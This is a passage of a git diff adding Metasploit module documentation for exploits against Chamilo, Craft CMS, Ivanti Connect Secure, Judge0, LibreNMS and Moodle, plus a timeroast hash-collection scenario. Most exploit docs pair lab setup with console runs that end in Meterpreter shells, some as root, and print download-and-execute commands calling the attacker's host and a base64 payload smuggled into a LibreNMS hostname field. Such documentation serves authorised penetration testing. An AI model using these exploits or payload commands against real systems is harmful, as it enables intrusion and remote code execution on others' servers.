domain controller +1. Set the `RIDS` option to the RID of the new account +1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a + database is connected + +## Options + +### RIDS +The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator. + +## Scenarios + +### Windows 2019 x64 Domain Controller + +``` +msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205 +RIDS => 4200-4205 +msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(scanner/ntp/timeroast) > run +[*] Checking RID: 4200 +[*] Checking RID: 4201 +[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010 +[*] Checking RID: 4202 +[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0 +[*] Checking RID: 4203 +[*] Checking RID: 4204 +[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c +[*] Checking RID: 4205 +[*] Waiting on 3 pending responses... +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/ntp/timeroast) > +``` diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index 076611a7f14b..670127debfc6 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -138,7 +138,7 @@ Local File System Commands This session also works with the following modules: auxiliary/admin/dcerpc/icpr_cert - auxiliary/admin/dcerpc/samr_computer + auxiliary/admin/dcerpc/samr_account auxiliary/admin/smb/delete_file auxiliary/admin/smb/download_file auxiliary/admin/smb/psexec_ntdsgrab diff --git a/documentation/modules/auxiliary/server/relay/esc8.md b/documentation/modules/auxiliary/server/relay/esc8.md index 5ee71457d47c..616fa1793692 100644 --- a/documentation/modules/auxiliary/server/relay/esc8.md +++ b/documentation/modules/auxiliary/server/relay/esc8.md @@ -10,7 +10,7 @@ on a given template. * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host 2. Start `msfconsole` 2. Do: `use auxiliary/server/relay/esc8` -3. Set the `RANDOMIZE_TARGETS` option to the AD CS Web Enrollment server +3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server 4. Run the module and wait for a request to be relayed ## Options @@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess server. Must be one of the following options: * ALL: Enumerate all available certificate templates and then issue each of them -* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a - user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it - is a machine account. -* QUERY_ONLY: Enumerate all available certificate templates but do not issue any +* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue + based on if the authenticated user is a user or machine account. The determination is based on checking for a `$` + at the end of the name, which means that it is a machine account. +* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates + available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and + include `Machine` (AKA `Computer`) and `DomainController` * SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option ### CERT_TEMPLATE diff --git a/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md new file mode 100644 index 000000000000..afb53b7b3ec1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md @@ -0,0 +1,89 @@ +## Vulnerable Application +Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 +a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to +`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: +`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist +by default. + +### Setup + +A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559 +1. Clone the repo `git clone https://github.com/vulhub/vulhub.git` +1. Checkout the pull request mentioned above: `git checkout CVE-2023-4220` +1. Run `cd vulhub/chamilo/CVE-2023-4220` +1. Start the environment: `docker compose up` +1. Navigate to `http://127.0.0.1:8080` to complete the installation wizard. +1. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is + `mariadb` (not `localhost` or `127.0.0.1`). +1. Once the installation wizard is complete the target should be ready to be + exploited with the module. This container has the non-default `/files/` directory created already. + +## Verification Steps + +1. Start msfconsole +1. Do: `use linux/http/chamilo_bigupload_webshell` +1. Set the `RHOST`, `RPORT`, and `LHSOT` options +1. Run the module +1. Receive a Meterpreter session as the `www-data` user. + +## Scenarios +### Chamilo 1.11.18 running in Docker +``` +msf6 > use linux/http/chamilo_bigupload_webshell +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080 +rport => 8080 +msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options + +Module options (exploit/linux/http/chamilo_bigupload_webshell): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/chamilo_bigupload_webshell) > run + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable. +[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully). +[*] Sending stage (40004 bytes) to 172.16.199.1 +[+] Deleted 1nZaWHvP +[+] Deleted kFAqQcbWxs.php +[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : c2064983b0e1 +OS : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md new file mode 100644 index 000000000000..43ea42c8a3f5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -0,0 +1,275 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**. + +The vulnerability lies in improper handling of Twig templates, which can be exploited +to inject and execute arbitrary PHP code on the server via crafted HTTP requests. + +--- + +### Affected Versions + +- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2` +- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2` +- **3.x Series**: `>= 3.0.0`, `< 3.9.14` + +--- + +### Setting Up a Vulnerable Lab + +To test this exploit, follow these steps to set up a vulnerable Craft CMS environment. + +#### Docker Setup + +Install a specific vulnerable version of Craft CMS: + +```bash +mkdir exploit-craft && \ +cd exploit-craft && \ + # Configure DDEV (https://ddev.com/) project for Craft CMS \ +ddev config \ + --project-type=craftcms \ + --docroot=web \ + --create-docroot \ + --php-version="8.2" \ + --database="mysql:8.0" \ + --nodejs-version="20" && \ + # Create the DDEV project +ddev start -y && \ + # Create Craft CMS with the specified version +ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \ + # Install a vulnerable Craft CMS version +ddev composer require "craftcms/cms:5.5.0" \ + --no-scripts \ + --no-interaction --with-all-dependencies && \ + # Set the security key for Craft CMS +ddev craft setup/security-key && \ + # Install Craft CMS +ddev craft install/craft \ + --username=admin \ + --password=password123 \ + --email=admin@example.com \ + --site-name=Testsite \ + --language=en \ + --site-url='$DDEV_PRIMARY_URL' && \ + # Enable register_argc_argv for PHP +mkdir -p .ddev/php/ && \ +echo "register_argc_argv = On" > .ddev/php/php.ini && \ +ddev restart && \ + # Launch the project +echo 'Setup complete. Launching the project.' && \ +ddev launch +``` + +--- + +## Verification Steps + +1. Start the vulnerable Craft CMS instance using the steps above. +2. Launch `msfconsole`. +3. Use the module: `use exploit/linux/http/craftcms_ftp_template`. +4. Set `RHOSTS` to the target Craft CMS instance. +5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed. +6. Execute the exploit with the `run` command. +7. If successful, the module will execute the payload on the target. + +--- + +## Options +No option + +## Scenarios + +#### Successful Exploitation Against Craft CMS 5.5.0 + +**Setup**: + +- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`). +- Metasploit Framework. + +**Steps**: + +To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps: + +1. Start `msfconsole`: +```bash +msfconsole +``` + +2. Load the module: +```bash +use exploit/linux/http/craftcms_ftp_template +``` + +3. Set the `RHOSTS` option to the target Craft CMS instance, for example: +```bash +set RHOSTS exploit-craft.ddev.site +``` + +4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default: + - `RPORT` is set to `80`. + - `TARGETURI` is set to `/`. + +5. Set the payload for exploitation. For example: +```bash +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +``` + +6. Set the local listener address and port: +```bash +set LHOST 192.168.1.36 +set LPORT 4444 +``` + +7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed: +```bash +set SRVPORT 9090 +set FETCH_SRVPORT 8081 +set FETCH_URIPATH /custom_payload_path +``` + +8. Run the exploit: +```bash +exploit +``` + +**Expected Results**: + +If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell: + +```bash +msf6 exploit(linux/http/craftcms_ftp_template) > options + +Module options (exploit/linux/http/craftcms_ftp_template): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASVPORT 0 no The local PASV data port to listen on (0 is random) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl + oit.html + RPORT 80 yes The target port (TCP) + SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine + or 0.0.0.0 to listen on all addresses. + SRVPORT 9090 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8081 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.1.36 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix/Linux Command Shell + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/craftcms_ftp_template) > exploit +[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu& +[*] Exploit running as background job 57. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/craftcms_ftp_template) > +[*] Fetch handler listening on 192.168.1.36:8081 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Performing vulnerability check... +[+] The target is vulnerable. +[*] Starting FTP service... +[*] Started service listener on 192.168.1.36:9090 +[*] FTP server started on 192.168.1.36:9090 +[*] Sending HTTP request to trigger the payload... +[*] Triggering HTTP request... +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 250 "/default" is current directory. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 550 /default is not retrievable. +[*] on_client_command_mdtm +[*] -> 550 /default is not retrievable. +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_epsv +[*] -> 502 EPSV command not implemented. +[*] on_client_command_retr +[*] -> 150 Opening data connection for /default/index.twig +[*] -> 226 Transfer complete. +[*] on_client_command_quit +[*] -> 221 Goodbye. +[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.26.0.2 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.26.0.2 +[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100 + +msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14 +[*] Starting interaction with 14... +meterpreter > sysinfo +Computer : 172.26.0.2 +OS : Debian 12.8 (Linux 5.15.0-130-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +[*] Waiting for FTP client connections... +[*] Shutting down FTP service... +[*] Server stopped. +``` diff --git a/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md new file mode 100644 index 000000000000..3bbb09c6732c --- /dev/null +++ b/documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404.md @@ -0,0 +1,114 @@ +## Vulnerable Application + +This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to +achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 are +vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also +vulnerable but this module doesn't support this software. + +Valid administrative credentials are required. A non-administrative user is also +required and can be created using the administrative account, if needed. + +Finally, the `Client Log Upload` feature needs to be enabled. This can also +be done using the administrative interface (see the Installation Steps section +below), if it is not enabled already. + +### Process Overview + +First, the module will log into the administrative interface and check if the version +is vulnerable. Then, it will connect to the user interface using non-privileged +credentials and upload a log file archive containing the payload. This file is +stored as a known path on the server, which can be retrieved from the +administrative interface. Then, it leverages the CRLF vulnerability by creating +a Certificate Signing Request and passing a specially crafted OpenSSL +configuration. This configuration instructs OpenSSL to use a custom +cryptographic engine, which points to the log file path (our payload). The +payload is immediately executed, giving RCE as the root user on the appliance. + +This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647). + +### Installation Steps +Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series) +with a vulnerable Ivanti Connect Secure installed. + +Note that it is not possible to download a trial version of a Virtual Appliance +unless you contact sales and request a demo. + +Log into to the admin interface (https://admin) to proceed with the following requirements: + +#### Create a normal user +- In the `Authentication` menu, select `Auth. Servers`. +- Select the `System Local` `Authentication/Authorization Servers` or any + server with the type `Local Authentication`. Don't select the + `Administrators` server since we need a non-administrative account. +- Click on the `Users` tab and then `New`. +- Fill the registration form and click `Save Changes`. + +#### Enable Client Log +- Go to `Users` > `User Roles` and click on the `Users` role. +- Go to `General` > `Session Options`. +- Select `Enable Upload Logs` under the `Upload logs` section. +- Click `Save Changes`. + + +## Verification Steps +1. Start msfconsole +1. Do: `use linux/http/ivanti_connect_secure_rce_cve_2024_37404` +1. Do: `run verbose=true lhost= rhosts= admin_username= admin_password= username= password=` +1. You should get a Meterpreter session +1. Make sure the admin and the normal user have been logged out by logging in + the web interfaces with a web browser (you should have any warning saying a + session is already active) +1. Make sure the cleanup has been done correctly by checking `System` > `Log/Monitoring` + + +## Options + +### ADMIN_USERNAME +Administrative username to authenticate with. + +### ADMIN_PASSWORD +Administrator password to authenticate with. + +### USERNAME +Normal user username to authenticate with. + +### PASSWORD +Normal user password to authenticate with. + + +## Scenarios + +### Ivanti Connect Secure version 22.3R1 (build 1647) + +``` +msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890 + +[*] Started reverse TCP handler on 192.168.211.69:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'... +[!] The admin msfadmin is already logged in +[*] Getting the version... +[+] Found version 22.3R1 (build 1647) +[+] The target appears to be vulnerable. +[*] Uploading the payload... +[*] Login to the user interface with username 'msfuser' and password '1234567890'... +[*] Uploading the log file... +[*] Logging the user out... +[*] Getting the log file name... +[*] Triggering the payload... +[*] Transmitting intermediate stager...(106 bytes) +[*] Sending stage (1017704 bytes) to 192.168.211.200 +[*] Cleaning up... +[*] Deleting the log file (payload)... +[*] Logging the administrator out... +[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.211.200 +OS : (Linux 4.15.18.34-production) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +``` diff --git a/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md new file mode 100644 index 000000000000..ad06ebbd52bd --- /dev/null +++ b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +Judge0 does not account for symlinks placed inside the sandbox directory, +which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox. + +The vulnerability affects: + + * Judge0 <= 1.13.0 + +This module was successfully tested on: + + * Judge0(v1.13.0) installed with Docker on Ubuntu 20.0.4 + + +### Installation + +1. (Optional) Set cgroup to v1 +```bash + sudo nano /etc/default/grub + # add this line at the top, and save: + GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0" + sudo update-grub + sudo reboot +``` + +2. Install Judge0 +```bash + wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip + unzip judge0-v1.13.0.zip + cd judge0-v1.13.0 +``` + +3. Start Judge0 +```bash + docker compose up +``` + +4. (Optional) When Judge0 does not work, try this +```bash + docker compose up --force-recreate server +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options + +Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 2358 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JRzyWcrcJ no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15 + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Version 1.13.0 detected, which is vulnerable +[+] The target appears to be vulnerable. +[*] Writing cron job to /etc/cron.d/dUTuziNy +[*] Use language: 77, COBOL (GnuCOBOL 2.2) +[+] Deleted /etc/cron.d/dUTuziNy +[+] Deleted /root/SVENuNNy +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:49024) at 2024-10-29 12:56:04 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.18.0.5 +OS : Debian 10.2 (Linux 5.4.0-196-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/root +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md new file mode 100644 index 000000000000..d75f4dd3e072 --- /dev/null +++ b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md @@ -0,0 +1,122 @@ +## Vulnerable Application + +An authenticated attacker can create dangerous directory names on the system and +alter sensitive configuration parameters through the web portal. +Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls, +thus achieving arbitrary code execution. + +The vulnerability affects: + + * 24.9.0 <= LibreNMS <= 24.9.1 + +This module was successfully tested on: + + * LibreNMS 24.9.0 installed on Ubuntu 22.04 + * LibreNMS 24.9.1 installed on Ubuntu 22.04 + + +### Installation + +1. Follow the [official instructions](https://docs.librenms.org/Installation/Install-LibreNMS/). +After git clone, change version: `git checkout tags/24.9.1`. + +2. Comment out the last line in `/etc/cron.d/librenms`: +`19 0 * * * librenms /opt/librenms/daily.sh >> /dev/null 2>&1`. +Otherwise, the version will be updated to the latest, causing the exploit to fail. + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092` +4. Do: `run lhost= rhost= username= password=` +5. (Optional) Do: `php artisan device:poll all` on the victim machine or wait up to 5 minutes (default cron setting) +6. You should get a meterpreter + + +## Options +### USERNAME (required) +User name for LibreNMS. + +### PASSWORD (required) +Password for LibreNMS. + +### PATH (required) +LibreNMS installed location. Default is `/opt/librenms`. + +### WAIT (required) +Wait time (seconds) for cron to poll the device. Default is `315`. + + +## Scenarios +``` +msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options + +Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes Password for LibreNMS + PATH /opt/librenms yes LibreNMS installed location + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME yes User name for LibreNMS + VHOST no HTTP server virtual host + WAIT 315 yes Wait time (seconds) for cron to poll the device + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME n no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH s no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.0.12 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Successfully logged into LibreNMS. +[+] The target appears to be vulnerable. LibreNMS version 24.9.1 detected, which is vulnerable. +[*] Try to add host: 'f;echo d2dldCAtcU8gLi9uIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9zO2NobW9kICt4IC4vbjsuL24m|base64 -d|bash;#', length: 100 +[*] Added host. +[*] Actual payload: wget -qO ./n http://192.168.56.1:8080/s;chmod +x ./n;./n& +[*] Waiting up to 315 seconds for cron to poll the device... +[*] Sending stage (3045380 bytes) to 192.168.56.17 +[+] Deleted n +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:40228) at 2025-01-17 21:19:20 +0900 +[*] Reset snmpget to default. +[*] Deleted device: 353 + +meterpreter > getuid +Server username: librenms +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : Ubuntu 22.04 (Linux 6.8.0-50-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/moodle_rce.md b/documentation/modules/exploit/linux/http/moodle_rce.md new file mode 100644 index 000000000000..0f53153ebb09 --- /dev/null +++ b/documentation/modules/exploit/linux/http/moodle_rce.md @@ -0,0 +1,101 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. +By default, the application will run in the context of www-data, so only a limited shell can be obtained. + +Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an +existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include +`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration. + +Affected versions include: +* 4.4 to 4.4.1 +* 4.3 to 4.3.5 +* 4.2 to 4.2.8 +* 4.1 to 4.1.11 + +Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193). + +The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is +available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/). + +## Testing + +Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/). +An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu). + +**Successfully tested on** + +- Moodle v4.4.1 on Ubuntu 20.04 LTS + +## Verification Steps + +1. Deploy Moodle +2. Start `msfconsole` +3. `use exploit/linux/http/moodle_rce` +4. `set USERNAME ` +5. `set PASSWORD ` +6. `set CMID ` +7. `set COURSEID ` +8. `set RHOSTS ` +9. `set LHOST ` +10. `exploit` + +## Options + +### USERNAME +The username to authenticate with in Moodle. + +### PASSWORD +The password for the user. + +### CMID +The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course +(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4). + +### COURSEID +The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3). + +## Scenarios + +Running the module against Moodle v4.4.1 should result in an output similar to the following: + +``` +msf6 > use exploit/linux/http/moodle_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser +USERNAME => testuser +msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD +PASSWORD => iusldbf843498fKJASD +msf6 exploit(linux/http/moodle_rce) > set CMID 2 +CMID => 2 +msf6 exploit(linux/http/moodle_rce) > set COURSEID 2 +COURSEID => 2 +msf6 